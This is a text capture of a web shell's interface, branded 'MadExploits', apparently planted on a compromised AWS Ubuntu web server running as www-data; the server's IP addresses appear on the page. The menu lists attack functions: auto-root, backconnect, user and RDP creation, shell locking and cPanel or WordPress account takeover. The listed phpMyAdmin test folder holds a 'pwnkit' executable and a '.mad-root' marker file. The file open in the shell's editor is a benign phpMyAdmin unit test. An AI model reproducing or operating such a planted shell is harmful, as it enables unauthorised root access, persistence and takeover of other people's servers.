Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.189.195.48
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
Plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
Auth
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Schema
[ DIR ]
drwxr-xr-x
Transformations
[ DIR ]
drwxr-xr-x
TwoFactor
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AuthenticationPluginFactoryTes...
2.46
KB
-rw-r--r--
AuthenticationPluginTest.php
1.83
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AuthenticationPluginFactoryTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests\Plugins; use PhpMyAdmin\Config; use PhpMyAdmin\Exceptions\AuthenticationPluginException; use PhpMyAdmin\Plugins\Auth\AuthenticationConfig; use PhpMyAdmin\Plugins\Auth\AuthenticationCookie; use PhpMyAdmin\Plugins\Auth\AuthenticationHttp; use PhpMyAdmin\Plugins\Auth\AuthenticationSignon; use PhpMyAdmin\Plugins\AuthenticationPluginFactory; use PhpMyAdmin\Tests\AbstractTestCase; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\DataProvider; #[CoversClass(AuthenticationPluginFactory::class)] class AuthenticationPluginFactoryTest extends AbstractTestCase { /** * @param non-empty-string $type * @param class-string $class */ #[DataProvider('providerForTestValidPlugins')] public function testValidPlugins(string $type, string $class): void { Config::getInstance()->selectedServer['auth_type'] = $type; $plugin = (new AuthenticationPluginFactory())->create(); self::assertInstanceOf($class, $plugin); } /** @return iterable<string, array{non-empty-string, class-string}> */ public static function providerForTestValidPlugins(): iterable { yield 'config plugin' => ['config', AuthenticationConfig::class]; yield 'cookie plugin' => ['Cookie', AuthenticationCookie::class]; yield 'http plugin' => ['HTTP', AuthenticationHttp::class]; yield 'sign on plugin' => ['signOn', AuthenticationSignon::class]; } public function testInvalidPlugin(): void { Config::getInstance()->selectedServer['auth_type'] = 'invalid'; $this->expectException(AuthenticationPluginException::class); $this->expectExceptionMessage('Invalid authentication method set in configuration: invalid'); (new AuthenticationPluginFactory())->create(); } public function testSameInstance(): void { $config = Config::getInstance(); $config->selectedServer['auth_type'] = 'cookie'; $factory = new AuthenticationPluginFactory(); $firstInstance = $factory->create(); $secondInstance = (new AuthenticationPluginFactory())->create(); self::assertNotSame($firstInstance, $secondInstance); $thirdInstance = $factory->create(); self::assertSame($firstInstance, $thirdInstance); $config->selectedServer['auth_type'] = 'config'; $forthInstance = $factory->create(); self::assertSame($firstInstance, $forthInstance); } }
Close